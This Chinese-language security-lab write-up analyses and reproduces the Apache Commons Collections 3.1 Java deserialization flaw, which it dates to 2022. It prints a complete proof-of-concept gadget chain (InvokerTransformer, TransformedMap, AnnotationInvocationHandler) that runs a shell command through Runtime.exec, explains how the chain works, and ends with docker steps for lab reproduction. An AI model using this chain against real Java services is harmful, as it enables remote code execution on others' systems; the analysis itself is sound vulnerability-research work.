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Apache Commons Collections反序列化漏洞分析与复现

代码安全实验室 代码卫士 2022-04-06

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1.1 状态


完成漏洞挖掘条件分析、漏洞复现。


1.2 漏洞分析


存在安全缺陷的版本:Apache Commons Collections3.2.1以下,【JDK版本:1.7.0_80】Apache Maven 3.6.3。

POC核心代码:

package com.patrilic.vul;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class EvalObject { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"touch /tmp/CommonsCollections3.1"}) };
//将transformers数组存入ChaniedTransformer这个继承类 Transformer transformerChain = new ChainedTransformer(transformers);// transformerChain.transform(null);
//创建Map并绑定transformerChain Map innerMap = new HashMap(); innerMap.put("value", "value"); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
// //触发漏洞// Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();// onlyElement.setValue("foobar");
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class); cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);
//将ins序列化 ByteArrayOutputStream exp = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(exp); oos.writeObject(ins); oos.flush(); oos.close();
//取出序列化的数据流进行反序列化,验证 ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray()); ObjectInputStream ois = new ObjectInputStream(out); Object obj = (Object) ois.readObject();
// }//} }}

漏洞利用思路:

Transformer接口-实现类-InvokerTransformer(),可调用任何函数。

为实现 Runtime.getRuntime().exec(cmd),要多次调用 transformer 并将当前返回结果作为下次输入信息。

为调用 Runtime.getRuntime(),考虑 ConstantTransformer 类,它可直接将输入的参数作为输出。

ChainedTransformer 作为实现类,对于接收的Transformer 数组,采用自身的transform方法(参数是用户输入的)逐次处理Transformer数组对象,将其结果作为下次重复调用的输入参数。它的 transform()方法即可出触发漏洞。

为寻找反序列化途径,即读进来数据被反序列化执行,则反向寻找可触发ChainedTransformer 对象 .transform() 方法的途径。

HashMap类可以键值对方式存储数据,put(key,value)方法可存储数据。

TransformedMap类的功能是存储键值对并将其转换为transform objects,decorate()方法可创建键值对组,checkSetValue()方法会触发this.valueTransformer.transform()语句。依次反向寻找调用 checkSetValue()【1】,使 this.valueTransformer  ChainedTransformer 对象的途径【2】。

对于【2】,TransformedMap 类的静态方法 decorate()可达到目标。

对于【1】,AbstractInputCheckedMapDecorator MapEntry 静态类的setValue方法会执行this.parent.checkSetValue(value),则接下来应使this.parentTransformedMap对象【3】。

对于【3】,正向分析POC中此段代码:

Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();


研究可知,执行过程中多次在AbstractInputCheckedMapDecorator类中,将TransformedMap对象赋值给this.parent,返回Map.Entry对象,正好可以执行setValue()方法,触发漏洞。

为提升通用性,必须设法使得调用反序列化方法即触发漏洞,因此,考虑寻找类对象满足“重写反序列化readObject()且执行Map类对象变量的setValue(),同时此变量可被控制赋键值数据”。AnnotationInvocationHandler类满足此需求【它对Map类型的成员变量的每个条目均调用setValue()】。

Class.forName() 功能是加载类。

则再次分析,对于【1】,正向分析POC中核心代码:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);……Object obj = (Object) ois.readObject();


研究可知,执行过程会执行 MapEntry 静态类的 setValue 方法,且会执行entrySet 方法使得 this.parent=TransformedMap 对象,从而触发漏洞。

总的来说,正向的POC构造思路为:先构造 ChainedTransformer 对象,随后创建 Map 对象,再采用 TransformedMap 类实例将 ChainedTransformer 对象保存至 Map 类对象中,再通过反射方法获得经 Map 类对象初始化的AnnotationInvocationHandler 类实例,对其进行序列化。


1.3 docker复现


下载制作的docker镜像,用以下命令:

docker pull 296645429/apache-commons-collections-vulnerability-ubuntu:v1


设置局域网及容器ip、启动容器,例子:

(1)自定义网络

docker network create --subnet=192.168.10.1/24 testnet


(2)启动docker容器

docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash


在容器【Apache-Commons-Collections】中,执行命令【java -jar commons-collections-3.1.jar】,则生成文件【CommonsCollections3.1】,如下图。

                                         

1.7 参考资料


  • https://www.freebuf.com/vuls/251664.html

  • https://patrilic.top/2020/03/19/commons-collections-3.1%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/#0x00-Build

  • https://www.smi1e.top/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0%E4%B9%8Bapache-commons-collections/

  • https://zhuanlan.zhihu.com/p/62496468

  • https://blog.csdn.net/chengly0129/article/details/70215018



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题图:Pixabay License


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